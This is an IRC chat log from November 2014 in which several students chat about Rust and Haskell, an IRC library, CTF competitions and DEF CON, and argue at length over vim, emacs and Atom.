[2014-11-20T23:10:10-0500] <bob_twinkles> so many triangle brackets
[2014-11-20T23:10:26-0500] <sdamashek> so many weird errors
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[2014-11-20T23:10:33-0500] <sdamashek> anyways
[2014-11-20T23:10:35-0500] <sdamashek> I haven't tried it
[2014-11-20T23:10:38-0500] <sdamashek> this is only through him
[2014-11-20T23:11:08-0500] <bob_twinkles> weird errors are probably just the type checker spitting out catagory theory
[2014-11-20T23:11:41-0500] <Tamini_> sdamashek: through who?
[2014-11-20T23:12:07-0500] <sdamashek> Tamini_: fox
[2014-11-20T23:12:41-0500] <~awe> Weird errors?
[2014-11-20T23:12:47-0500] <~awe> It's not my fault he's too dumb.
[2014-11-20T23:12:59-0500] <~awe> Most of the errors are very terse and very precise.
[2014-11-20T23:13:01-0500] <~awe> They're nice.
[2014-11-20T23:13:11-0500] <~awe> They even have suggests for how to fix problems sometimes!
[2014-11-20T23:13:21-0500] <~awe> bob_twinkles: too many angle brackets is a legitimate complaint.
[2014-11-20T23:13:38-0500] <bob_twinkles> also fn
[2014-11-20T23:13:44-0500] <bob_twinkles> I just... don't like the way rust looks
[2014-11-20T23:13:58-0500] <~awe> I have mixed feelings about the syntax.
[2014-11-20T23:14:02-0500] <~awe> It's not bad, but it's not pretty.
[2014-11-20T23:14:10-0500] <~awe> I don't like the angle brackets, but I'll deal with it because the language is great.
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[2014-11-20T23:14:24-0500] <bob_twinkles> eh, maybe I'll try it soon ish
[2014-11-20T23:14:39-0500] <~awe> I'm going to try to take Haskell a lot more seriously.
[2014-11-20T23:17:09-0500] <nezorg> Tamini_: how about you ask them “can we unban the people we banned?”
[2014-11-20T23:17:15-0500] <nezorg> without mentioning zorgne by name
[2014-11-20T23:17:16-0500] <Tamini_> uhh
[2014-11-20T23:17:19-0500] <Tamini_> how about j does that
[2014-11-20T23:17:19-0500] <Tamini_> LOL
[2014-11-20T23:17:25-0500] <Tamini_> I joined yesterday, nezorg
[2014-11-20T23:17:28-0500] <nezorg> true
[2014-11-20T23:19:26-0500] <~awe> bob_twinkles: If I start really buckling into Haskell, I'll probably end up doing that more than Rust.
[2014-11-20T23:19:28-0500] <~awe> Maybe.
[2014-11-20T23:19:29-0500] <~awe> I don't know.
[2014-11-20T23:21:34-0500] <~awe> https://github.com/jxv/irc
[2014-11-20T23:21:37-0500] <~awe> This guy forked my IRC library.
[2014-11-20T23:22:00-0500] <nezorg> but hasn’t committed anything
[2014-11-20T23:22:02-0500] <~awe> Yeah.
[2014-11-20T23:22:12-0500] <~awe> I'm really pleased with my IRC library.
[2014-11-20T23:22:22-0500] <~awe> I hope it becomes the ubiquitous Rust IRC library.
[2014-11-20T23:24:48-0500] <Tamini_> is sdamashek not coming back o-o
[2014-11-20T23:24:55-0500] <~awe> sdamashek, I need you, baby.
[2014-11-20T23:24:57-0500] <~awe> Come back and love me!
[2014-11-20T23:28:52-0500] <j> Tamini_: ehhh
[2014-11-20T23:28:58-0500] <j> i think it's best to not test my chances
[2014-11-20T23:29:00-0500] <j> they won't listen
[2014-11-20T23:29:05-0500] <Tamini_> okay yeah
[2014-11-20T23:29:06-0500] <Tamini_> that was my guess
[2014-11-20T23:29:25-0500] <Tamini_> i mean it's not hard for you to evade that ban anyway
[2014-11-20T23:29:30-0500] <Tamini_> next time just be honest about it :P
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[2014-11-20T23:34:30-0500] <ubuntor> >_>
[2014-11-20T23:43:19-0500] <Tamini_> well, that was quite eventful
[2014-11-20T23:43:21-0500] <Tamini_> >.>
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[2014-11-21T00:00:32-0500] <~awe> I'm so tired.
[2014-11-21T00:00:39-0500] <~awe> Also, I haven't written any of this essay.
[2014-11-21T00:00:54-0500] <~awe> They cancelled my discussion for the class tomorrow. So, I guess tomorrow is just going to be power through it until it's due.
[2014-11-21T00:01:00-0500] <~awe> And also a lot of self-loathing.
[2014-11-21T00:06:41-0500] <~awe> Tamini: did you switch to IRCCloud on your phone or something?
[2014-11-21T00:06:56-0500] <Tamini> uhh yes
[2014-11-21T00:07:03-0500] <~awe> You suck, I was PMing you.
[2014-11-21T00:07:09-0500] <Tamini> did i accidentally ignore some pings
[2014-11-21T00:07:13-0500] <Tamini> sorry lemme check lol
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[2014-11-21T00:25:20-0500] <+LittleBobbyTables> So what'd I miss
[2014-11-21T00:25:38-0500] <Tamini> uhhh
[2014-11-21T00:25:40-0500] <Tamini> not too much
[2014-11-21T00:26:03-0500] <Tamini> LittleBobbyTables: how's everything going?
[2014-11-21T00:26:05-0500] <+LittleBobbyTables> What about logs?
[2014-11-21T00:26:14-0500] <Tamini> (also does your last name have 1 d or 2)
[2014-11-21T00:26:28-0500] <+LittleBobbyTables> Turns out I fucked up DNS somehow. So I'm on my other laptop waiting for it restart.
[2014-11-21T00:26:35-0500] <Tamini> oh
[2014-11-21T00:26:36-0500] <+LittleBobbyTables> Is that of concern, though?
[2014-11-21T00:26:44-0500] <Tamini> you weren't getting ddosed? ;P
[2014-11-21T00:26:47-0500] <Tamini> and uhhh
[2014-11-21T00:26:53-0500] <Tamini> gus and i were arguing over this
[2014-11-21T00:26:56-0500] <+LittleBobbyTables> No, I still did.
[2014-11-21T00:27:11-0500] <Tamini> oh damn
[2014-11-21T00:27:19-0500] <Tamini> who did you piss off now, jacob? :P
[2014-11-21T00:27:40-0500] <+LittleBobbyTables> We'll be here for hours.
[2014-11-21T00:28:03-0500] <Tamini> :P
[2014-11-21T00:28:08-0500] <Tamini> tell me a story.
[2014-11-21T00:28:18-0500] <+LittleBobbyTables> About
[2014-11-21T00:28:41-0500] <Tamini> anything
[2014-11-21T00:28:46-0500] <Tamini> be interesting
[2014-11-21T00:29:03-0500] <+LittleBobbyTables> Uhhh
[2014-11-21T00:29:11-0500] <+LittleBobbyTables> I wanna read #tj logs as well.
[2014-11-21T00:29:20-0500] <+LittleBobbyTables> I can't think of a story.
[2014-11-21T00:29:53-0500] <Tamini> lol
[2014-11-21T00:30:03-0500] <Tamini> uhhh i dont log that channel
[2014-11-21T00:30:17-0500] <Tamini> and i dont have passwords to the logs rn so i cant help there
[2014-11-21T00:31:19-0500] <+LittleBobbyTables> Why don't YOU share an interesting story? ;o
[2014-11-21T00:32:08-0500] <Tamini> lol
[2014-11-21T00:32:12-0500] <Tamini> my life is so boring, man
[2014-11-21T00:32:21-0500] <Tamini> and after this weekend you'll get a lot of stories
[2014-11-21T00:32:32-0500] <Tamini> about all the cool things i did with jacob and apothy
[2014-11-21T00:32:32-0500] <+LittleBobbyTables> oh?
[2014-11-21T00:37:12-0500] <+LittleBobbyTables> Sounds... Interesting.
[2014-11-21T00:38:17-0500] <Tamini> heh
[2014-11-21T00:38:21-0500] <Tamini> i get to see then again
[2014-11-21T00:38:24-0500] <Tamini> i hope it's fub
[2014-11-21T00:38:26-0500] <Tamini> fun*
[2014-11-21T00:40:21-0500] <+LittleBobbyTables> I'm sure you have at least one story
[2014-11-21T00:41:25-0500] <Tamini> well, i'm a very boring person
[2014-11-21T00:41:28-0500] <Tamini> :P
[2014-11-21T00:41:33-0500] <Tamini> why don't you share?
[2014-11-21T00:42:32-0500] <+LittleBobbyTables> Due to the fact I've shared plenty of stories.
[2014-11-21T00:42:53-0500] <Tamini> won't hurt to share one more
[2014-11-21T00:43:34-0500] <+LittleBobbyTables> Gogo then
[2014-11-21T00:44:08-0500] <Tamini> i meant you
[2014-11-21T00:44:09-0500] <Tamini> :P
[2014-11-21T00:44:20-0500] <+LittleBobbyTables> Too late you agreed to it.
[2014-11-21T00:45:09-0500] <Tamini> no i didnt!
[2014-11-21T00:45:23-0500] <+LittleBobbyTables> Did too.
[2014-11-21T00:45:30-0500] <Tamini> lbt stop it
[2014-11-21T00:45:31-0500] <Tamini> :P
[2014-11-21T00:45:36-0500] <+LittleBobbyTables> Stop what
[2014-11-21T00:46:25-0500] <Tamini> accusing me of such things
[2014-11-21T00:46:50-0500] <+LittleBobbyTables> It's not an acquisition if it's the truth.
[2014-11-21T00:47:10-0500] <Tamini> psh
[2014-11-21T00:47:16-0500] <Tamini> its not the truth
[2014-11-21T00:47:22-0500] <Tamini> you misinterpreted my statement
[2014-11-21T00:47:45-0500] <+LittleBobbyTables> Welcome to the government, dear. We twist things to make us seem right.
[2014-11-21T00:48:21-0500] <Tamini> LOL
[2014-11-21T00:48:24-0500] <Tamini> oh right
[2014-11-21T00:48:29-0500] <nezorg> tamini has stories more interesting than mine
[2014-11-21T00:48:30-0500] <Tamini> lbt is a greasy fed
[2014-11-21T00:48:32-0500] <Tamini> i forgot
[2014-11-21T00:48:44-0500] <Tamini> nezorg! you're awake! shAre some stories <3
[2014-11-21T00:48:48-0500] <+LittleBobbyTables> See, you have interesting stories. Nezorg said so.
[2014-11-21T00:48:51-0500] <Tamini> you're a much more interesting person
[2014-11-21T00:48:56-0500] <Tamini> than I am anyway
[2014-11-21T00:49:13-0500] <nezorg> lolnope
[2014-11-21T00:50:12-0500] <Tamini> yes
[2014-11-21T00:50:14-0500] <Tamini> pls
[2014-11-21T00:50:28-0500] <+LittleBobbyTables> I feel like I should join #tjhsst again.
[2014-11-21T00:51:00-0500] <Tamini> let's not
[2014-11-21T00:51:04-0500] <nezorg> maybe we should join with our real nicks
[2014-11-21T00:51:07-0500] <Tamini> enough drama for one night, at least
[2014-11-21T00:51:07-0500] <nezorg> :P
[2014-11-21T00:51:15-0500] <Tamini> nezorg: save it for tonight :P
[2014-11-21T00:51:29-0500] <Tamini> a 1 shitstorm/night limit sounds wise
[2014-11-21T00:51:38-0500] <+LittleBobbyTables> So tomorrow?
[2014-11-21T00:51:54-0500] <Tamini> LOL
[2014-11-21T00:52:05-0500] <Tamini> i won't be around to pick up after you tomorrow, so sure
[2014-11-21T00:52:20-0500] <nezorg> :'(
[2014-11-21T00:52:33-0500] <+LittleBobbyTables> They all loved me
[2014-11-21T00:53:31-0500] <Tamini> of course they did :P
[2014-11-21T00:53:37-0500] <Tamini> nezorg: tell us a story :)
[2014-11-21T00:54:36-0500] <nezorg> I don't have any stories
[2014-11-21T00:55:54-0500] <Tamini> yes you do
[2014-11-21T00:56:03-0500] <nezorg> I should have gone to parties at defcon :’(
[2014-11-21T00:56:05-0500] <Tamini> you mentioned tidbits before
[2014-11-21T00:56:06-0500] <Tamini> LOL
[2014-11-21T00:56:13-0500] <Tamini> wait there are parties at defcon o.9
[2014-11-21T00:56:18-0500] <nezorg> lol yeah
[2014-11-21T00:56:24-0500] <nezorg> that’s like 90% the reason most people go
[2014-11-21T00:56:30-0500] <+LittleBobbyTables> Aren't you too young for those?
[2014-11-21T00:56:35-0500] <nezorg> most of them, yeah :P
[2014-11-21T00:56:37-0500] <nezorg> not all of them
[2014-11-21T00:56:48-0500] <nezorg> plus not quite all check age
[2014-11-21T00:57:16-0500] <Tamini> LOL
[2014-11-21T00:57:20-0500] <Tamini> oh right 18
[2014-11-21T00:57:27-0500] <Tamini> oh, wait
[2014-11-21T00:57:32-0500] <Tamini> nezorg: are you 16?
[2014-11-21T00:57:34-0500] <nezorg> …well 21’s probably the more important number
[2014-11-21T00:57:38-0500] <nezorg> Tamini: yeah
[2014-11-21T00:57:38-0500] <Tamini> oh, true
[2014-11-21T00:57:42-0500] <Tamini> darn
[2014-11-21T00:57:51-0500] <Tamini> i realllly want to go next summet
[2014-11-21T00:57:54-0500] <Tamini> summer*
[2014-11-21T00:58:00-0500] <nezorg> qualify for ctf! :P
[2014-11-21T00:58:05-0500] <+LittleBobbyTables> Get a job!
[2014-11-21T00:58:16-0500] <Tamini> LOL
[2014-11-21T00:58:18-0500] <nezorg> come work in the seclab!
[2014-11-21T00:58:21-0500] <Tamini> LittleBobbyTables: i have a job
[2014-11-21T00:58:28-0500] <+LittleBobbyTables> Does it pay?
[2014-11-21T00:58:29-0500] <Tamini> nezorg: wanna fly me to california? :P
[2014-11-21T00:58:34-0500] <Tamini> LittleBobbyTables: a lot, actually
[2014-11-21T00:58:40-0500] <+LittleBobbyTables> How much?
[2014-11-21T00:58:51-0500] <Tamini> uhh
[2014-11-21T00:58:58-0500] <+LittleBobbyTables> <>10?
[2014-11-21T00:58:59-0500] <Tamini> i dont actually know off the top of my head
[2014-11-21T00:59:00-0500] <nezorg> Tamini: if you show you’re good enough I honestly wouldn’t be surprised if they did
[2014-11-21T00:59:03-0500] <+LittleBobbyTables> <=>10?
[2014-11-21T00:59:12-0500] <nezorg> what is this “10” number
[2014-11-21T00:59:15-0500] <nezorg> there are no units
[2014-11-21T00:59:19-0500] <Tamini> nezorg: :P i would actually totally want to play defcon ctf but
[2014-11-21T00:59:21-0500] <Tamini> eh
[2014-11-21T00:59:32-0500] <+LittleBobbyTables> s/10/\$10
[2014-11-21T00:59:37-0500] <nezorg> per hour?
[2014-11-21T00:59:37-0500] <+LittleBobbyTables> :/ happy.
[2014-11-21T00:59:44-0500] <+LittleBobbyTables> God damn you.
[2014-11-21T00:59:58-0500] <+LittleBobbyTables> You and your being logical.
[2014-11-21T00:59:59-0500] <Tamini> LittleBobbyTables: i get paid $20/hr for group tutoring
[2014-11-21T01:00:00-0500] <nezorg> internship at ucsb paid a whopping $12.50 / hour
[2014-11-21T01:00:03-0500] <Tamini> i see math abilities
[2014-11-21T01:00:09-0500] <+LittleBobbyTables> How much do you work, though
[2014-11-21T01:00:11-0500] <Tamini> s/see/sell
[2014-11-21T01:00:12-0500] <Tamini> uhh
[2014-11-21T01:00:20-0500] <Tamini> i used to work a lot over the summer
[2014-11-21T01:00:31-0500] <Tamini> now just 3 hrs/week because no time
[2014-11-21T01:00:32-0500] <Tamini> >.>
[2014-11-21T01:00:35-0500] <+LittleBobbyTables> >_>
[2014-11-21T01:00:57-0500] <Tamini> pls homework is hard
[2014-11-21T01:01:23-0500] <nezorg> hmmmm
[2014-11-21T01:01:29-0500] <nezorg> I honestly can’t think of any interesting stories
[2014-11-21T01:01:35-0500] <Tamini> nezorg: teach me how to be a pro ctfer like you
[2014-11-21T01:01:40-0500] <Tamini> thats a good story A++
[2014-11-21T01:01:49-0500] <+LittleBobbyTables> Tell us how you started computers
[2014-11-21T01:01:52-0500] <nezorg> Tamini:
[2014-11-21T01:01:54-0500] <nezorg> 1. play in ctf
[2014-11-21T01:01:56-0500] <nezorg> 2. goto 1
[2014-11-21T01:02:02-0500] <nezorg> 3. ???
[2014-11-21T01:02:04-0500] <nezorg> 4. ???
[2014-11-21T01:02:05-0500] <nezorg> 5. ???
[2014-11-21T01:02:35-0500] <nezorg> LittleBobbyTables: I don’t have memories that young :P
[2014-11-21T01:02:40-0500] <nezorg> for when I first started using computers, at least
[2014-11-21T01:02:49-0500] <Tamini> LOL
[2014-11-21T01:02:55-0500] <Tamini> damn, so unfair
[2014-11-21T01:03:00-0500] <Tamini> i started in high school
[2014-11-21T01:03:05-0500] <Tamini> what is this time disadvantage :P
[2014-11-21T01:03:16-0500] <nezorg> the first time you touched a computer was in high school? :P
[2014-11-21T01:03:23-0500] <nezorg> I first started programming in 5th grade or so
[2014-11-21T01:03:32-0500] <Tamini> well like
[2014-11-21T01:03:36-0500] <Tamini> programming and stuff
[2014-11-21T01:03:38-0500] <Tamini> yes, totally
[2014-11-21T01:03:46-0500] <Tamini> i lived under a rock until high school :P
[2014-11-21T01:03:51-0500] <nezorg> first programming was guido van robot
[2014-11-21T01:03:57-0500] <nezorg> then moved on to processing
[2014-11-21T01:04:01-0500] <nezorg> made a maze game :3
[2014-11-21T01:04:05-0500] <Tamini> ooh
[2014-11-21T01:04:09-0500] <~awe> I started using computers at the age of 1.
[2014-11-21T01:04:14-0500] <~awe> I started programming in 5th grade.
[2014-11-21T01:04:20-0500] <Tamini> i think the first thing i ever made was floodit
[2014-11-21T01:04:27-0500] <Tamini> using the most horribly inefficient code ever
[2014-11-21T01:04:40-0500] <~awe> The first thing I ever made was a text-based RPG in Visual Basic within Microsoft Excel with Aaron Berger.
[2014-11-21T01:04:50-0500] <~awe> It was WW2 themed.
[2014-11-21T01:05:16-0500] <~awe> Then, I made a MapleStory-themed one at Bring Your Child To Work Day because my dad's work blocked everything fun that I could do on a computer.
[2014-11-21T01:05:42-0500] <+LittleBobbyTables> I have a story.
[2014-11-21T01:05:43-0500] <~awe> And then in 6th grade, I got into MapleStory private servers.
[2014-11-21T01:05:48-0500] <~awe> 7th grade, I learned C++.
[2014-11-21T01:05:50-0500] <+LittleBobbyTables> I started using Vim today. The end.
[2014-11-21T01:05:57-0500] <~awe> 9th grade, I quit C++ and learned Java for robotics.
[2014-11-21T01:06:08-0500] <~awe> 10th grade, I got back into MapleStory private servers but this time with an understanding of programming.
[2014-11-21T01:06:15-0500] <Tamini> vim is fun
[2014-11-21T01:06:23-0500] <Tamini> and then you start to focus more on
[2014-11-21T01:06:27-0500] <nezorg> die, vim users
[2014-11-21T01:06:29-0500] <Tamini> learning keyboard shortcuts than programming
[2014-11-21T01:06:32-0500] <nezorg> I shall go on a holy war
[2014-11-21T01:06:33-0500] <+LittleBobbyTables> I started hitting i before typing :(
[2014-11-21T01:06:33-0500] <Tamini> nezorg: </3
[2014-11-21T01:06:34-0500] <~awe> 12th grade, HSCTF
[2014-11-21T01:06:38-0500] <Tamini> but its so fun to be lazy
[2014-11-21T01:06:39-0500] <+LittleBobbyTables> neorg, are you an emacs?
[2014-11-21T01:06:43-0500] <~awe> also me becoming a good programmer
[2014-11-21T01:06:51-0500] <~awe> LittleBobbyTables: yes, he uses emacs.
[2014-11-21T01:06:52-0500] <nezorg> LittleBobbyTables: I am a worshipper of emacs
[2014-11-21T01:07:11-0500] <Tamini> nezorg: try to convert us poor lost souls then
[2014-11-21T01:07:13-0500] <nezorg> member of the church of emacs
[2014-11-21T01:07:29-0500] <+LittleBobbyTables> What do you dislike about vim?
[2014-11-21T01:07:29-0500] <~awe> I use Atom.
[2014-11-21T01:07:33-0500] <nezorg> Tamini: first I shall tempt you pagans with the familiar rituals of evil-mdoe
[2014-11-21T01:07:39-0500] <Tamini> LOL
[2014-11-21T01:07:40-0500] <nezorg> s/mdoe/mode/
[2014-11-21T01:07:46-0500] <Tamini> did you just call me a pagan
[2014-11-21T01:07:49-0500] <nezorg> yes
[2014-11-21T01:07:55-0500] <Tamini> vim is one true god
[2014-11-21T01:08:27-0500] <nezorg> nah, that’s nick cage
[2014-11-21T01:08:32-0500] <+LittleBobbyTables> Granted, if you don't set nocompatible in your vimrc, youre using Vi.
[2014-11-21T01:08:50-0500] <nezorg> https://imgur.com/PFaLmVu lol
[2014-11-21T01:09:06-0500] <+LittleBobbyTables> virus don't click
[2014-11-21T01:09:12-0500] <+LittleBobbyTables> He's trying to infect you with emacs.
[2014-11-21T01:09:19-0500] <nezorg> nah, that’s just one true god
[2014-11-21T01:09:21-0500] <+LittleBobbyTables> Nasty virus, that is.
[2014-11-21T01:09:35-0500] <Tamini> lol
[2014-11-21T01:10:32-0500] <~awe> Can someone convince me to use either emacs or vim?
[2014-11-21T01:10:41-0500] <nezorg> emacs is amazingly extensible
[2014-11-21T01:10:46-0500] <nezorg> and has awesome modes for haskell
[2014-11-21T01:10:47-0500] <~awe> Atom is slow, but the depth of configuration in emacs and vim pisses me off.
[2014-11-21T01:11:01-0500] <nezorg> awe: what do you mean depth of configuration?
[2014-11-21T01:11:09-0500] <~awe> It's so much work to get a usable setup.
[2014-11-21T01:11:11-0500] <~awe> At least in vim.
[2014-11-21T01:11:13-0500] <~awe> I never actually tried emacs.
[2014-11-21T01:11:19-0500] <nezorg> awe: isn’t really for emacs imo
[2014-11-21T01:11:21-0500] <~awe> I just assumed it was a similar amount of owrk.
[2014-11-21T01:11:30-0500] <nezorg> I use prelude-emacs, though
[2014-11-21T01:11:39-0500] <~awe> I also really don't care for millions of keyboard shortcuts.
[2014-11-21T01:11:41-0500] <+LittleBobbyTables> You only need like 3-4 lines in your vimrc to get it to be usable.
[2014-11-21T01:11:53-0500] <+LittleBobbyTables> What exactly are you looking for it to be "usable"?
[2014-11-21T01:12:00-0500] <Tamini> well i mean
[2014-11-21T01:12:02-0500] <Tamini> knowing awe
[2014-11-21T01:12:07-0500] <Tamini> he probably wants everything perfect
[2014-11-21T01:12:15-0500] <+LittleBobbyTables> It's why I asked lol
[2014-11-21T01:12:25-0500] <~awe> To be able to scroll, type, have syntax highlighting for Rust and Haskell, linting would be nice
[2014-11-21T01:12:37-0500] <~awe> travis status is a bonus
[2014-11-21T01:12:38-0500] <+LittleBobbyTables> You can scroll and type by default.
[2014-11-21T01:12:40-0500] <nezorg> with prelude-emacs that’s all built in
[2014-11-21T01:12:40-0500] <~awe> but I don't need travis status.
[2014-11-21T01:12:44-0500] <nezorg> (well not travis status)
[2014-11-21T01:12:53-0500] <+LittleBobbyTables> Syntax highlighting is just a simple set
[2014-11-21T01:12:55-0500] <~awe> travis status in atom doesn't even work.
[2014-11-21T01:12:59-0500] <nezorg> but it has syntax highlighting for rust and haskell and linting for both
[2014-11-21T01:13:16-0500] <~awe> The syntax highlighting for Rust in Atom is balls
[2014-11-21T01:13:24-0500] <~awe> I've had to submit PRs to fix all the stupid.
[2014-11-21T01:13:38-0500] <~awe> For example, raw strings used to break everything.
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[2014-11-21T01:13:42-0500] <nezorg> emacs one is officially maintained: https://github.com/rust-lang/rust/blob/master/src/etc/emacs/rust-mode.el
[2014-11-21T01:13:53-0500] <~awe> r"hi there\"" would break everything.
[2014-11-21T01:14:06-0500] <~awe> It was super dated, too.
[2014-11-21T01:14:22-0500] <+LittleBobbyTables> linting isn't in vim in my ~20 minutes of using it, today.
[2014-11-21T01:14:37-0500] <+LittleBobbyTables> You could easily macro it in, though.
[2014-11-21T01:14:57-0500] <+LittleBobbyTables> What's Travis Status, though?
[2014-11-21T01:15:04-0500] <nezorg> …wait, what’s the `move` keyword?
[2014-11-21T01:15:24-0500] <+LittleBobbyTables> ?
[2014-11-21T01:15:30-0500] <~awe> nezorg: I forget.
[2014-11-21T01:15:34-0500] <nezorg> it’s new
[2014-11-21T01:15:35-0500] <~awe> nezorg: It's not mentioned anywhere.
[2014-11-21T01:15:46-0500] <nezorg> https://github.com/rust-lang/rust/commit/27774e8e24fe66b6463ca1916eeea1626c663e77
[2014-11-21T01:15:57-0500] <~awe> LittleBobbyTables: Travis-CI is a continual integration tool.
[2014-11-21T01:15:58-0500] <nezorg> has to do with closures? https://github.com/rust-lang/rust/issues/19141
[2014-11-21T01:16:02-0500] <~awe> LittleBobbyTables: It compiles every build.
[2014-11-21T01:16:18-0500] <~awe> LittleBobbyTables: every commit, rather.
[2014-11-21T01:16:21-0500] <~awe> Runs tests and stuff.
[2014-11-21T01:16:25-0500] <~awe> Confirms that your library builds.
[2014-11-21T01:16:29-0500] <~awe> It integrates with GH.
[2014-11-21T01:16:35-0500] <nezorg> okay, I need to actually do english, sorry
[2014-11-21T01:16:35-0500] <nezorg> bye
[2014-11-21T01:16:37-0500] <~awe> So, if I get a PR, travis runs the PR and confirms that everything is working.
[2014-11-21T01:16:52-0500] <~awe> nezorg: I meant it's not in documentation. My friend explained it once but I don't remember.
[2014-11-21T01:17:08-0500] <~awe> Travis is a godsend for a language like Rust where it's constantly evolving.
[2014-11-21T01:17:10-0500] <nezorg> awe: pretty sure it’s new
[2014-11-21T01:17:23-0500] <~awe> It's older than twelve days old.
[2014-11-21T01:17:27-0500] <+LittleBobbyTables> You can configure that in, easily.
[2014-11-21T01:17:35-0500] <Tamini> nezorg: go do homework :P
[2014-11-21T01:17:41-0500] <~awe> I have it set up to build everything nightly with the new Rust build.
[2014-11-21T01:17:56-0500] <+LittleBobbyTables> https://github.com/Keithbsmiley/travis.vim
[2014-11-21T01:18:05-0500] <+LittleBobbyTables> There's an unofficial one I found
[2014-11-21T01:18:44-0500] <nezorg> okay, actually leaving now
[2014-11-21T01:18:44-0500] <nezorg> bye
[2014-11-21T01:19:21-0500] <~awe> Bye nezorg.
[2014-11-21T01:19:29-0500] <~awe> LittleBobbyTables: I can't make a decision until nezorg and you can duke it out in front of me.
[2014-11-21T01:19:45-0500] <+LittleBobbyTables> It honestly depends on what you want out of it.
[2014-11-21T01:19:59-0500] <+LittleBobbyTables> Are you going to be using it as just a text editor?
[2014-11-21T01:20:01-0500] <~awe> Yeah.
[2014-11-21T01:20:03-0500] <~awe> Pretty much.
[2014-11-21T01:20:04-0500] <Tamini> gl with english nezorg
[2014-11-21T01:20:07-0500] <Tamini> lol
[2014-11-21T01:20:12-0500] <+LittleBobbyTables> emacs or sublime would be better then
[2014-11-21T01:20:20-0500] <~awe> What's vim good for?
[2014-11-21T01:20:21-0500] <Tamini> and i dont do arguments so i'll just quietly cheer on lbt
[2014-11-21T01:20:25-0500] <~awe> Sublime is the same thing as Atom.
[2014-11-21T01:20:29-0500] <Tamini> sublime is pretty
[2014-11-21T01:20:35-0500] <Tamini> i like the default color scheme a lot
[2014-11-21T01:20:36-0500] <~awe> They're virtually identical.
[2014-11-21T01:20:41-0500] <~awe> I like Atom because GitHub made it.
[2014-11-21T01:20:47-0500] <Tamini> its just vim lets me be
[2014-11-21T01:20:49-0500] <Tamini> extremely lazy
[2014-11-21T01:20:52-0500] <Tamini> and i appreciate that
[2014-11-21T01:20:55-0500] <~awe> Extremely lazy how?
[2014-11-21T01:21:01-0500] <+LittleBobbyTables> If you're editing a shitton of things (moving lines, deleting tons of lines, copying things to other documents), or want something that's highly customizable.
[2014-11-21T01:21:11-0500] <~awe> Who moves lines around?
[2014-11-21T01:21:15-0500] <+LittleBobbyTables> Vim
[2014-11-21T01:21:23-0500] <~awe> but I mean, when is that a reasonable use-case?
[2014-11-21T01:21:27-0500] <~awe> I only use text editors for programming.
[2014-11-21T01:21:51-0500] <~awe> So much of vim doesn't make sense to me.
[2014-11-21T01:21:54-0500] <+LittleBobbyTables> I tend to right ugly at first, then move it around to make it look better.
[2014-11-21T01:21:58-0500] <+LittleBobbyTables> write*
[2014-11-21T01:22:05-0500] <~awe> Why does typing p when in command mode insert a period?
[2014-11-21T01:22:06-0500] <~awe> Who needs that?
[2014-11-21T01:22:38-0500] <+LittleBobbyTables> ...?
[2014-11-21T01:23:01-0500] <~awe> Why wouldn't you just type the period normally when you're in insert mode?
[2014-11-21T01:23:04-0500] <+LittleBobbyTables> p pastes what you have on the register.
[2014-11-21T01:23:10-0500] <~awe> That's not what my vim does.
[2014-11-21T01:23:30-0500] <+LittleBobbyTables> It might be defaulted to have a period, then.
[2014-11-21T01:23:32-0500] <~awe> Or maybe I just don't know how the register works and its default value is period.
[2014-11-21T01:24:27-0500] <+LittleBobbyTables> Hmm.
[2014-11-21T01:24:43-0500] <+LittleBobbyTables> Have you ever used a tool that has clipboard history?
[2014-11-21T01:24:52-0500] <~awe> Yeah, Word.
[2014-11-21T01:25:16-0500] <+LittleBobbyTables> Like, multiple ctrl-c's, and you can go back to any of them?
[2014-11-21T01:25:21-0500] <+LittleBobbyTables> That's essentially how the register works.
[2014-11-21T01:26:43-0500] <~awe> When I move around code, I just highlight it.
[2014-11-21T01:26:47-0500] <~awe> Cut, paste.
[2014-11-21T01:26:49-0500] <~awe> So on.
[2014-11-21T01:27:38-0500] <+LittleBobbyTables> Wouldn't it be nice to just start at a function, press a couple of buttons, have that function cut out, and have the cursor go to the line number you want?
[2014-11-21T01:29:03-0500] <~awe> No?
[2014-11-21T01:29:07-0500] <~awe> I don't know the line number that I want.
[2014-11-21T01:29:14-0500] <~awe> I don't copy and paste entire functions ever.
[2014-11-21T01:29:28-0500] <+LittleBobbyTables> set ruler number
[2014-11-21T01:29:37-0500] <+LittleBobbyTables> Line numbers + cursor position
[2014-11-21T01:29:55-0500] <+LittleBobbyTables> It was a bit of an excessive case, sure, but the point still stands.
[2014-11-21T01:34:16-0500] <~awe> Why would I ever know the exact line number I want to paste something to?
[2014-11-21T01:34:19-0500] <~awe> Who thinks like that?
[2014-11-21T01:35:39-0500] <+LittleBobbyTables> If you're just using it for a normal text editor, emacs is better. If you want something highly configurable that can do pretty much anything you want it to, vim is better.
[2014-11-21T01:36:30-0500] <Tamini> you can make vim do
[2014-11-21T01:36:32-0500] <Tamini> exaaaactly
[2014-11-21T01:36:34-0500] <Tamini> what you want
[2014-11-21T01:36:37-0500] <Tamini> which is super amaze
[2014-11-21T01:38:49-0500] <~awe> I just installed emacs.
[2014-11-21T01:38:56-0500] <~awe> Well, a version of it wrapped in Cocoa.
[2014-11-21T01:38:57-0500] <+LittleBobbyTables> Always remember, EMACS = Emacs Makes Your Computer Slow :P
[2014-11-21T01:39:06-0500] <~awe> I hate it.
[2014-11-21T01:39:12-0500] <~awe> The scrolling isn't fluid because it's buffered.
[2014-11-21T01:39:13-0500] <+LittleBobbyTables> Sorry, Makes A Computer Slow.
[2014-11-21T01:39:22-0500] <Tamini> lol
[2014-11-21T01:39:35-0500] <Tamini> emacs is slow in general too
[2014-11-21T01:40:13-0500] <+LittleBobbyTables> It's meant to essentially start from scratch.
[2014-11-21T01:40:23-0500] <+LittleBobbyTables> And be a "open once, run forever" kind of deal
[2014-11-21T01:42:22-0500] <~awe> I just want a text editor that can do proper syntax highlighting for Rust and Haskell, has linting, smooth scrolling, doesn't use a ton of memory, has a tree view, and highlights git status type stuff in the tree view. 
[2014-11-21T01:42:46-0500] <+LittleBobbyTables> Vim can do that.
[2014-11-21T01:42:57-0500] <+LittleBobbyTables> You may have to configure it, but it can do it 100%
[2014-11-21T01:43:02-0500] <~awe> Basically, I want this: https://www.dropbox.com/s/swu58fej74s0tq7/Screenshot%202014-11-21%2001.42.56.png?dl=0
[2014-11-21T01:43:22-0500] <~awe> But without the ludicrous memory usage, the slowness with files over like 300 lines, etc.
[2014-11-21T01:44:08-0500] <~awe> I'd prefer not fancy looking tabs, too.
[2014-11-21T01:44:14-0500] <+LittleBobbyTables> fancy how so?
[2014-11-21T01:44:21-0500] <~awe> I'd prefer just rectangles with the file names in them and a little x.
